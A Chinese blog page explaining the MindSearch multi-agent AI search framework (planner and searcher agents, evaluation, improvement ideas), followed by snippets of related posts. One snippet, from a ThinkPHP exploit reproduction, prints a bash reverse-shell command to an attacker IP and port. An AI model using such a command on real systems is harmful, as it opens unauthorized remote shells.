当前位置: 首页 > news >正文

下一代 AI 搜索引擎 MindSearch:多智能体 + 系统2,模拟人类认知过程的 AI 搜索引擎

下一代 AI 搜索引擎 MindSearch:多智能体 + 系统2,模拟人类认知过程的 AI 搜索引擎

    • 提出背景
    • 解法拆解
    • 实验评估
      • 开放集
      • 封闭集问答
    • 论文大纲
    • 怎么进一步改进 MindSearch?
      • 1. 组合(Combination)
      • 2. 拆开(Disassembly)
      • 3. 转换(Transformation)
      • 4. 借用(Borrowing)
      • 5. 联想(Association)
      • 6. 反向思考(Reverse Thinking)
      • 7. 问题(Question)
      • 8. 错误(Mistake)
      • 9. 感情(Emotion)
      • 10. 模仿(Imitation)
      • 量产创意的方法应用
    • AI 医疗搜索

论文:https://arxiv.org/pdf/2407.20183

代码:https://github.com/InternLM/MindSearch

MindSearch框架是一种多智能体系统,其核心思想是将复杂查询分解为更小的、可管理的子问题,并通过并行处理来提高效率。

包括WebPlanner和多个WebSearcher。

WebPlanner负责规划和组织查询的分解,而WebSearcher负责执行具体的搜索和信息收集任务。

 

提出背景

LLMs和搜索引擎的结合提供了一个引人注目的机会,其中LLMs的推理能力可以通过搜索引擎提供的丰富网络信息得到增强,这可能会彻底改变网络信息搜集和整合的解决方案。

以往的研究将信息搜集和整合任务简单地视为一种标准的检索增强生成(RAG)任务。

这种直接的方法虽然简单,但往往因为对网络信息检索的深度和复杂性缺乏深入理解,导致性能不佳,尤其是在处理更复杂的用户查询时面临三个主要挑战:

  • 首先,现实世界的问题通常需要深入分析并在检索相关信息之前对问题进行适当的分解,这不是一次性检索网页就能解决的;
  • 其次,大量被检索的网页和信息噪声对LLMs进行高效信息整合构成了巨大挑战;
  • 最后,网络搜索内容的迅速扩散可能会很快超出LLMs的最大上下文长度,进一步降低信息整合的性能。

受到人类专家解决现实问题方式的启发,我们提出了MindSearch(思·索),这是一个简单而有效的基于LLMs的多智能体框架,包括WebPlanner和多个WebSearcher。

WebPlanner首先将用户查询分解为可以并行解决的多个原子子问题,并将它们分派给相应的WebSearcher。

为了增强推理能力,WebPlanner采用迭代图构建的方式,通过预定义的一系列标准代码接口,逐步将问题分解为顺序或并行的子问题。

与此同时,每个WebSearcher针对各自的子问题,采用分层检索过程提取有价值的数据,这在处理大量搜索页面时显著提高了信息聚合的效率。

MindSearch通过将推理和检索过程的不同方面分配给专门的智能体,有效减轻了每个智能体的负担,使其能够更有效地处理长上下文信息。

它无缝地连接了搜索引擎的原始数据检索能力和LLMs的上下文理解能力。

MindSearch的这种多智能体架构能够在短时间内并行处理大量网页,效率远超人工操作。

无论是基于GPT-4o还是InternLM2.5-7B模型,MindSearch在回答封闭和开放问题时都展现出了在深度和广度上的显著提升。

更值得一提的是,基于InternLM2.5-7B的MindSearch在用户偏好上超过了 Perplexity.ai 的 Pro 版本以及带有搜索插件的ChatGPT,这表明MindSearch即使使用开源模型也能提供与商业AI搜索引擎相媲美的服务。

这张图描述的是MindSearch框架的工作原理和工作流程,它由两个主要部分组成:WebPlanner和WebSearcher。

  1. WebPlanner:作为高层规划器,WebPlanner负责组织推理步骤和协调多个WebSearcher的活动。

    它通过创建和扩展一个动态图(InitGraph和Add node and edge)来模拟问题的解决过程。

    图中展示了如何将用户查询分解为多个子问题(Node1, Node2, … Node-N),并逐步构建图谱以解决问题。

  2. WebSearcher:负责执行细粒度的网络搜索,根据WebPlanner的指示,搜索相关信息,并将有价值的信息摘要反馈给WebPlanner。

    图中展示了三个WebSearcher实例,它们分别搜索有关《原神》(Genshin Impact)的不同方面,如背景(Background)、角色和关系(Roles and Relationships)以及游戏特色(Horners)。

  3. 搜索和信息整合:WebPlanner首先根据用户查询“中国制作的视频游戏”重写搜索请求,并通过网络搜索API获取相关页面的内容。

    图中提到了页面1和页面6,分别提供了关于《原神》的背景信息和其他中国视频游戏的概述。

  4. 多节点和多边的添加:WebPlanner根据搜索结果向图中添加多个节点和边,以构建问题的推理拓扑结构。

  5. 并行执行:WebSearcher以并行方式工作,分别搜索和整合有关《原神》的不同信息,然后将这些信息汇总到WebPlanner。

  6. 最终响应:在收集和整合了所有相关信息后,WebPlanner生成最终的响应,回答用户的原始问题。

    这是一个框架图,展示了MindSearch如何通过WebPlanner和WebSearcher的协同工作来处理复杂的查询和信息整合任务。

 

以“中国高铁发展”为主题进行搜索。

用户查询:

用户想要了解中国高铁技术的发展情况。

WebPlanner的行动:

  1. 理解查询:WebPlanner识别出用户想要了解的是中国高铁技术的发展。
  2. 查询重写:将查询细化为“中国高铁技术的发展历程”、“中国高铁网络的现状”和“中国高铁技术的未来规划”。
  3. 构建动态图:创建一个动态图,将查询分解为子问题,比如“技术起源”、“关键技术”、“国际合作”、“现有网络”和“未来展望”。

WebSearcher的行动:

  1. 搜索执行:WebSearcher根据WebPlanner的指示执行搜索,找到相关的网页和信息。
  2. 信息收集
    • WebSearcher #1 搜索并收集中国高铁技术的起源和早期发展情况。
    • WebSearcher #2 搜索并收集中国高铁的关键技术特点和创新。
    • WebSearcher #3 搜索并收集中国高铁的国际合作案例和影响力。
    • WebSearcher #4 搜索并收集中国高铁现有网络的规模和覆盖情况。
    • WebSearcher #5 搜索并收集关于中国高铁技术未来发展的规划和预测。

信息整合与响应生成:

  1. 并行处理:五个WebSearcher并行工作,收集和摘要信息。
  2. 信息汇总:WebPlanner接收来自各个WebSearcher的信息,并整合它们。
  3. 生成响应:WebPlanner根据整合的信息生成最终的响应,回答用户的查询。

最终响应:

WebPlanner整合所有信息,生成一份详细的介绍,包括:

  • 中国高铁技术的起源和早期发展里程碑。
  • 关键技术创新,如列车设计、轨道建设和信号系统。
  • 国际合作项目,展示中国高铁技术的全球影响力。
  • 现有高铁网络的规模,覆盖的城市和区域。
  • 未来发展规划,包括新的线路和技术升级。

 

解法拆解

MindSearch 拆解:

目的:MindSearch 的主要目的是提供一个基于大型语言模型(LLMs)的多智能体框架,用于处理复杂的网络信息搜索和整合任务,提高响应质量和效率。

问题:在现有的信息检索系统中,存在几个问题:

  • 复杂查询难以一次性准确检索;
  • 需要整合的信息分散在多个网页上,并伴有大量噪声;
  • 网页内容的迅速增加可能超出LLMs的处理能力。

解法:MindSearch 解法的核心是一个多智能体系统,它通过以下子解法来解决上述问题:

  1. 子解法1 - WebPlanner(因为需要高层次规划和组织推理步骤)

    • 之所以使用 WebPlanner 子解法,是因为它能够模拟人类思维进行问题推理,将复杂问题分解为可并行解决的子问题,并通过动态图构建过程(DAG)来组织这些问题。
  2. 子解法2 - WebSearcher(因为需要执行细粒度的网络搜索)

    • 之所以使用 WebSearcher 子解法,是因为它能够根据 WebPlanner 的指示执行分层检索,从大量网页中提取有价值的信息,并通过并行执行提高效率。
  3. 子解法3 - 多智能体设计(因为需要分布式处理和减少单个智能体的负载)

    • 之所以采用多智能体设计,是因为它可以将不同的推理和检索任务分配给专门的智能体,从而减轻每个智能体的负担,提高处理长上下文信息的能力。
  4. 子解法4 - 迭代图构建(因为需要模拟复杂问题解决过程)

    • 之所以使用迭代图构建子解法,是因为它能够逐步细化问题,通过添加节点和边来构建问题解决的拓扑结构,从而更有效地导航和整合信息。
  5. 子解法5 - 层次化信息检索(因为需要从大量网页中提取相关信息)

    • 之所以使用层次化信息检索子解法,是因为它通过从粗到细的搜索策略,先广泛搜集信息再逐步聚焦到最有价值的页面,以提高信息整合的准确性和深度。

逻辑链:MindSearch 的逻辑链是一个多层次、网络状的结构,可以以决策树的形式表示:

MindSearch
│
├── WebPlanner - 高层次规划和问题分解
│    ├── 动态图构建(DAG)
│    └── 子问题分发
│
├── WebSearcher - 细粒度搜索和信息提取
│    ├── 分层检索策略
│    └── 并行执行
│
├── 多智能体设计 - 分布式任务处理
│    └── 认知负荷分散
│
├── 迭代图构建 - 模拟问题解决过程
│    └── 逐步细化问题
│
└── 层次化信息检索 - 提取和整合信息└── 从粗到细的搜索

在这个决策树中,每个节点代表一个子解法,而节点的子节点则展示了该子解法的具体实施步骤或特征。

这种结构清晰地展示了 MindSearch 如何通过一系列相互关联的子解法来解决复杂的信息检索问题。

 

实验评估

开放集

我们通过问答任务的两大类别——封闭集和开放集——来评估MindSearch的性能,这同时也反映了对MindSearch的主观和客观评价。

为了保证评估的公正性,所有参与评估的模型都只能通过BING搜索API访问互联网,并且不使用其他参考资料。

为了更准确地衡量MindSearch的效用和搜索性能,我们精心挑选了100个真实世界中人类提出的问题,并收集了 MindSearch、Perplexity.ai 的 Pro 版本以及带有搜索插件的 ChatGPT 给出的答案。

我们还邀请了五位人类专家根据答案的深度、广度和事实性三个方面来手动选择他们认为最佳的答案。

  • 深度:指答案的详尽程度和深度,一个好的深度答案会提供详尽的信息,深入探讨问题的复杂性。
  • 广度:指答案覆盖的范围和多样性,一个好的广度答案会涉及问题的多个方面或多个相关领域,提供多元化的视角或解决方案。
  • 事实性:指答案的准确性和事实依据,一个好的事实性答案应该基于可靠的数据和信息,避免错误或误导性内容,确保信息的真实性和可信度。

评估的最终结果是基于多数专家的投票。

在评估过程中,为了确保公正性,专家们并不知道每个答案对应的方法。

MindSearch在答案的深度和广度上都有显著提升,这证明了我们提出的WebPlanner的有效性。

通过在DAG构建阶段整合代码,LLM能够逐步将复杂问题分解为可执行的查询,同时在时间效率和搜索空间探索之间取得平衡。

此外,MindSearch对问题的搜索更为细致,因此相比其他模型,它提供了更精确和详细的答案。

然而,在事实性方面,MindSearch并没有表现出更好的性能。我们推测,过于详细的搜索结果可能会分散模型对原始问题的注意力,特别是当LLM在处理长上下文信息时能力不足的情况下。

因此,MindSearch未来的一个自然发展方向是减少网络浏览过程中的误导问题。

除了定量结果,我们还提供了Perplexity.ai Pro和MindSearch之间的定性答案比较,以直观展示它们的性能差异。

可以看到MindSearch提供了更具体和详细的答案。

我们的实证发现,MindSearch之所以能提供更好的答案,是因为其搜索路径规划得当,这也表明正确分解人类意图是解决问题的关键步骤。

封闭集问答

我们还在包括Bamboagle、Musique和HotpotQA在内的多种封闭集问答任务上广泛评估了我们的方法。

为了进一步验证我们方法的普适性,我们选择了封闭源的LLM(GPT-4o)和开源的LLM(InternLM2.5-7b-chat)作为后端模型。

鉴于我们的方法采用了零样本实验设置,我们使用了一个主观的LLM评估器(GPT4-o)来评估HotpotQA的答案正确性。

与两个简单的基线进行了比较:没有使用搜索引擎的原始LLM,以及将搜索引擎作为外部工具并采用ReAct风格交互的方法。

结果表明,MindSearch在很大程度上显著优于这些基线,证实了我们提出方法的有效性。

论文大纲

├── 1 引言【描述背景和问题】
│   ├── 信息检索与整合的复杂性【背景介绍】
│   │   ├── 信息检索在分析和决策制定中的必要性【重要性】
│   │   └── 传统搜索引擎在处理复杂人类意图时的不足【问题描述】
│   ├── 大型语言模型(LLMs)的进展【技术背景】
│   └── 现有方法的局限性【问题描述】
│       ├── 搜索引擎一次性检索的不准确性【具体挑战】
│       ├── 信息整合中的噪声问题【具体挑战】
│       └── 长内容网页超出LLMs的最大上下文长度【具体挑战】├── 2 MindSearch框架介绍【技术解决方案】
│   ├── WebPlanner的角色与功能【子系统介绍】
│   │   ├── 用户查询的多步分解【功能描述】
│   │   └── 动态图构建过程【功能描述】
│   ├── WebSearcher的角色与功能【子系统介绍】
│   │   ├── 分层信息检索【功能描述】
│   │   └── 信息收集与摘要【功能描述】
│   └── 多智能体设计的优势【设计优势】
│       ├── 并行信息检索【优势描述】
│       ├── 长上下文处理能力【优势描述】
│       └── 减少单个智能体的负载【优势描述】├── 3 实验【验证方法有效性】
│   ├── 开放式问答(Open-Set QA)【任务类型】
│   │   ├── 实施细节【实验设置】
│   │   ├── 结果与分析【实验结果】
│   │   └── MindSearch与现有应用的比较【对比分析】
│   └── 封闭集问答(Closed-Set QA)【任务类型】
│       ├── 实施细节【实验设置】
│       ├── 结果与分析【实验结果】
│       └── MindSearch的性能提升【性能对比】├── 4 相关工作【领域内技术发展】
│   ├── LLM与工具的集成【技术趋势】
│   ├── RAG与LLM的结合【技术趋势】
│   └── Web代理的演进【技术趋势】└── 5 结论【研究贡献与未来方向】├── MindSearch的创新点【研究贡献】├── 在AI驱动的搜索引擎中的竞争优势【市场定位】└── 对未来研究的启示【未来方向】

怎么进一步改进 MindSearch?

让我们分析MindSearch框架,寻找可能的创新点:

1. 组合(Combination)

现有元素:WebPlanner和WebSearcher的结合。
创新点:将MindSearch与其他AI工具(如自然语言理解、情感分析)结合,提供更深入的语义分析和用户意图理解,增强搜索的相关性和个性化。

2. 拆开(Disassembly)

现有元素:多智能体系统中的单一功能。
创新点:将WebSearcher的搜索功能进一步细化,为不同类型的查询(如时间敏感、事实查找、深度分析)设计专门的搜索代理。

3. 转换(Transformation)

现有元素:WebPlanner的动态图构建。
创新点:将动态图构建过程转换为一个可视化工具,允许用户实时看到查询分解和信息整合的过程,提供更直观的交互体验。

4. 借用(Borrowing)

现有元素:现有的信息检索方法。
创新点:借鉴推荐系统中的算法,如协同过滤,为用户推荐相关信息,提高信息检索的个性化和准确性。

5. 联想(Association)

现有元素:信息检索和整合。
创新点:开发一个联想引擎,它能够根据检索到的信息,自动关联到其他知识领域或数据源,以提供更全面的答案。

6. 反向思考(Reverse Thinking)

现有元素:传统的信息检索流程。
创新点:设计一个反向信息检索流程,从用户最不期望得到的信息开始搜索,以突出显示常见的偏见和盲点。

7. 问题(Question)

现有元素:用户查询的处理。
创新点:开发一个更深层次的问题解析器,它不仅理解用户的直接查询,还能够识别和提问以进一步细化用户的需求。

8. 错误(Mistake)

现有元素:搜索过程中的错误处理。
创新点:创建一个系统,它能够从搜索错误中学习,比如用户对搜索结果的不满意反馈,以优化未来的搜索性能。

9. 感情(Emotion)

现有元素:信息的客观呈现。
创新点:引入情感分析,使搜索结果能够根据用户的情感状态或查询的情感色彩进行调整,提供更有同理心的回答。

10. 模仿(Imitation)

现有元素:现有的搜索算法和技术。
创新点:模仿人类专家的决策过程,创建一个模拟专家系统,它能够在特定领域提供专业深度的搜索和分析。

量产创意的方法应用

  • 联想:使用随机联想术,将MindSearch与完全不同领域的技术(如量子计算)联系起来,探索新的计算模型。
  • 最渴望联结:确定用户最渴望的搜索体验,比如实时更新的信息流,然后将这一渴望与MindSearch的搜索结果呈现方式结合。
  • 空隙填补:识别信息检索中的空隙,比如对非文本内容(如图像、视频)的搜索,开发新的功能来填补这些空隙。

以上创新点可以根据以下关键标准进行评估和选择:

  • 创新性:解决方案的独特性和新颖性。
  • 实用性:解决方案对实际问题的解决能力。
  • 用户价值:解决方案对用户需求的满足程度。
  • 技术可行性:解决方案在当前技术条件下的实现可能性。
  • 成本效益:解决方案的实施成本与预期效益的比较。

根据这些标准,我们可以对每个创新点进行深入分析,比较它们的优劣,并选择最佳的创新点来进一步开发和实施。

AI 医疗搜索

内科医生负责诊断和开药,他们给病人提供综合治理;外科医生负责手术和手术相关的护理事物。

据统计趋势,内科医生年龄越大,他的病人的死亡率就越高,外科则相反。

人普遍的趋势是年龄越大学习新事物的能力和意愿就越低。

对内科来说,最新知识比临床经验更有用。

年长的医生无疑有更丰富的经验,但是年轻医生的疗效更好。

因为年轻医生更能掌握最新的药物、疗法和技术。

他们刚刚从住院医师培训中毕业,他们刚学过最新的医学知识。

知识要越新越好,技能要越熟练越好。

内科医生需要多学习新知识,外科医生需要多练习自己的技能。

内科引入 AI 医疗搜索,不是这个医生在给你看病,而是医学界的「当前科学理解」在给你看病。

相关文章:

下一代 AI 搜索引擎 MindSearch:多智能体 + 系统2,模拟人类认知过程的 AI 搜索引擎

下一代 AI 搜索引擎 MindSearch:多智能体 系统2,模拟人类认知过程的 AI 搜索引擎 提出背景解法拆解实验评估开放集封闭集问答 论文大纲怎么进一步改进 MindSearch?1. 组合(Combination)2. 拆开(Disassembl…...

一键生成专业PPT:2024年AI技术在PPT软件中的应用

不知道你毕业答辩的时候有没有做过PPT,是不是也被这个工具折磨过。没想到现在都有AI生成PPT的工具了吧?这次我就介绍几款可以轻松生成PPT的AI工具吧。 1.笔灵AIPPT 连接直达:​​​​​​​https://ibiling.cn/ppt-zone 这个工具我最早是…...

Godot学习笔记8——PONG游戏制作

目录 一、小球 二、地图 三、积分系统 四、玩家场景 五、导出与发布 PONG是1972年由雅达利公司推出的游戏,主要玩法为玩家控制两个可以上下移动的板子击打屏幕中不断运动的球 一、小球 我们首先创建一个“Area2D”场景,在它下方创建“Collisi…...

软件RAID配置实战(2个案例场景)

文章目录 3、软件RAID管理-mdadm工具安装mdadm组件格式示例选项说明mdadm命令其它常用选项 4、相关查询命令查看创建RAID的进度查看RAID磁盘详细信息查看文件系统的磁盘空间使用情况 5、RAID配置示例场景1:RAID5步骤 场景2:RAID10步骤 6、移除RAID阵列 接…...

# 基于MongoDB实现商品管理系统(2)

基于MongoDB实现商品管理系统(2) 基于 mongodb 实现商品管理系统之准备工作 1、案例需求 这里使用的不是前端页面,而是控制台来完成的。 具体的需求如下所示: 运行 查询所有 通过id查询详情 添加 - 通过id删除 2、案例分析 程…...

国标GB28181视频平台LntonCVS视频融合共享平台视频汇聚应用方案

近年来,国内视频监控应用迅猛发展,系统接入规模不断扩大,导致了大量平台提供商的涌现。然而,不同平台的接入协议千差万别,使得终端制造商不得不为每款设备维护多个不同平台的软件版本,造成了资源的严重浪费…...

java基础I/O

1,I/O流的概念: IO流代表的是一个数据输入的源或者输出的目标地址,可以是硬盘,内存,网络或者什么其他的电子设备,而IO流的类型也很多比如最简单的字节或者字符,或者其他更高级的对象。 不管它有多少特性&am…...

关于“八股文”在程序员面试中的角色及其对工作实际效用的讨论

关于“八股文”在程序员面试中的角色及其对工作实际效用的讨论,确实是一个值得深入探讨的话题。这里,“八股文”通常指的是面试中常见的一系列标准化问题和答案,涵盖了编程语言基础、算法、数据结构、设计模式、框架知识等,这些内…...

【算法设计题】基于front、rear和count的循环队列初始化、入队和出队操作,第6题(C/C++)

目录 第3题 基于front、rear和count的循环队列初始化、入队和出队操作 得分点(必背) 题解:基于front、rear和count的循环队列初始化、入队和出队操作 数据结构定义 代码解答 详细解释 1. 循环队列初始化 2. 循环队列入队 3. 循环队列…...

端点区间影响

前言:这一题本来想就是直接来一个前缀和来写,直接左边加一,右边减一,但是细想好像有问题,我们平时做的题目左边端点造成的影响会对这一段区间造成影响,但是这一题的话超过了左边端点就不会有影响了 那这一题…...

Leetcode3224. 使差值相等的最少数组改动次数

Every day a Leetcode 题目来源:3224. 使差值相等的最少数组改动次数 解法1: 想一想,什么情况下答案是 0?什么情况下答案是 1? 如果答案是 0,意味着所有 ∣nums[i]−nums[n−1−i]∣ 都等于同一个数 X。…...

thinkphp之命令执行漏洞复现

实战: fofa搜索thinkphp-- 第一步:先在dns平台上,点击Get SubDomain ,监控我们的注入效果 返回dnslog查看到了Java的版本信息 打开kali监听端口 进行base64编码 bash -i >& /dev/tcp/192.168.189.150/8080 0>&1 …...

算法板子:匈牙利算法——二分图的最大匹配

目录 1. 基础概念 (1)二分图的概念 (2) 匈牙利算法的作用 2. 代码 1. 基础概念 (1)二分图的概念 顶点集 V 分为两个集合,且图中每条边依附的两个顶点都分属于这两个子集,也就是第…...

轻松拯救数据危机!四大必备的数据恢复软件免费版推荐!

不论是珍贵的家庭照片、重要的工作文档还是个人的私密信息,一旦丢失,后果不堪设想。今天,给大家介绍四款强大的数据恢复大师免费版,帮助大家在数据丢失时挽回损失。 Foxit数据恢复大师 点此免费下载:www.pdf365.cn/f…...

windbg常用命令

1. 基本调试命令 1.1启动和附加 windbg -pn : 按进程名称启动调试。 windbg -p : 按进程 ID 启动调试。 1.2 控制执行 g: 继续执行程序。 p: 单步执行&#xff0c;不进入函数。 t: 单步执行&#xff0c;进入函数。 bp <Address>: 在指定地址设置断点。 bl: 列出所有断…...

Ubuntu(20.04 LTS)更换镜像源

此换镜像源方法只适用x86_64架构的系统&#xff0c;其他架构的系统参考ubuntu-ports的方法 1、备份文件 sudo mv /etc/apt/sources.list /etc/apt/sources.list.bk2、创建新文件 sudo vi /etc/apt/sources.list根据自己系统版本选择下面对应的镜像源添加到新文件中&#xf…...

golang使用 copier对象复制时进行类型转化

问题描述 在后端我们经常会在 entity 和 view 之间进行复制转换为可以发送给前端的数据 比如 time 对象在下送的时候&#xff0c;我们希望能显示经过格式化过的目标字符串格式&#xff0c;这里我们可以使用自定义的 converter&#xff0c;主要是定义 src 和 dst 类型&#xf…...

英特尔18A制程技术分析解读

#### 引言 尽管第二季度净亏损16亿美元以及大规模裁员计划引发了一些担忧&#xff0c;英特尔还是在8月6日宣布了其下一代18A制程技术取得重大里程碑的消息&#xff0c;并计划在2025年开始生产。 #### 技术进展 - **里程碑**&#xff1a;英特尔表示&#xff0c;这一里程碑是在…...

【百度面试算法题】2024-08-02

部门项目实际上也涉及到多种语言&#xff0c;有没有意愿去学习其他语言&#xff1f;你是如何利用数据结构来做技术的/项目中是如何解决高并发的&#xff1f;&#xff08;没听懂问题…就直接开始介绍项目了…后来被打断说不进行发散了&#xff0c;开始问八股&#xff09;说一下单…...

OSPF基础

目录 一、路由分类 1.直连路由 2.非直连路由 二、OSPF概述 1.什么是OSPF 2.OSPF的特点 3.OSPF的区域划分 1.划分区域的意义 2.区域的划分 三、OSPF 消息数据包 1.数据包的类型 2.Hello包 2.DBD包 3.LSR包 4.LSU 5.LSACK 四、OSPF 邻居状态机制 1.邻居关…...

手游刚开服就被攻击怎么办?如何防御DDoS?

开服初期是手游最脆弱的阶段&#xff0c;极易成为DDoS攻击的目标。一旦遭遇攻击&#xff0c;可能导致服务器瘫痪、玩家流失&#xff0c;甚至造成巨大经济损失。本文为开发者提供一套简洁有效的应急与防御方案&#xff0c;帮助快速应对并构建长期防护体系。 一、遭遇攻击的紧急应…...

Linux 文件类型,目录与路径,文件与目录管理

文件类型 后面的字符表示文件类型标志 普通文件&#xff1a;-&#xff08;纯文本文件&#xff0c;二进制文件&#xff0c;数据格式文件&#xff09; 如文本文件、图片、程序文件等。 目录文件&#xff1a;d&#xff08;directory&#xff09; 用来存放其他文件或子目录。 设备…...

从零实现富文本编辑器#5-编辑器选区模型的状态结构表达

先前我们总结了浏览器选区模型的交互策略&#xff0c;并且实现了基本的选区操作&#xff0c;还调研了自绘选区的实现。那么相对的&#xff0c;我们还需要设计编辑器的选区表达&#xff0c;也可以称为模型选区。编辑器中应用变更时的操作范围&#xff0c;就是以模型选区为基准来…...

微信小程序 - 手机震动

一、界面 <button type"primary" bindtap"shortVibrate">短震动</button> <button type"primary" bindtap"longVibrate">长震动</button> 二、js逻辑代码 注&#xff1a;文档 https://developers.weixin.qq…...

鸿蒙DevEco Studio HarmonyOS 5跑酷小游戏实现指南

1. 项目概述 本跑酷小游戏基于鸿蒙HarmonyOS 5开发&#xff0c;使用DevEco Studio作为开发工具&#xff0c;采用Java语言实现&#xff0c;包含角色控制、障碍物生成和分数计算系统。 2. 项目结构 /src/main/java/com/example/runner/├── MainAbilitySlice.java // 主界…...

蓝桥杯 冶炼金属

原题目链接 &#x1f527; 冶炼金属转换率推测题解 &#x1f4dc; 原题描述 小蓝有一个神奇的炉子用于将普通金属 O O O 冶炼成为一种特殊金属 X X X。这个炉子有一个属性叫转换率 V V V&#xff0c;是一个正整数&#xff0c;表示每 V V V 个普通金属 O O O 可以冶炼出 …...

IP如何挑?2025年海外专线IP如何购买?

你花了时间和预算买了IP&#xff0c;结果IP质量不佳&#xff0c;项目效率低下不说&#xff0c;还可能带来莫名的网络问题&#xff0c;是不是太闹心了&#xff1f;尤其是在面对海外专线IP时&#xff0c;到底怎么才能买到适合自己的呢&#xff1f;所以&#xff0c;挑IP绝对是个技…...

MacOS下Homebrew国内镜像加速指南(2025最新国内镜像加速)

macos brew国内镜像加速方法 brew install 加速formula.jws.json下载慢加速 &#x1f37a; 最新版brew安装慢到怀疑人生&#xff1f;别怕&#xff0c;教你轻松起飞&#xff01; 最近Homebrew更新至最新版&#xff0c;每次执行 brew 命令时都会自动从官方地址 https://formulae.…...

【深度学习新浪潮】什么是credit assignment problem?

Credit Assignment Problem(信用分配问题) 是机器学习,尤其是强化学习(RL)中的核心挑战之一,指的是如何将最终的奖励或惩罚准确地分配给导致该结果的各个中间动作或决策。在序列决策任务中,智能体执行一系列动作后获得一个最终奖励,但每个动作对最终结果的贡献程度往往…...

Monorepo架构: Nx Cloud 扩展能力与缓存加速

借助 Nx Cloud 实现项目协同与加速构建 1 &#xff09; 缓存工作原理分析 在了解了本地缓存和远程缓存之后&#xff0c;我们来探究缓存是如何工作的。以计算文件的哈希串为例&#xff0c;若后续运行任务时文件哈希串未变&#xff0c;系统会直接使用对应的输出和制品文件。 2 …...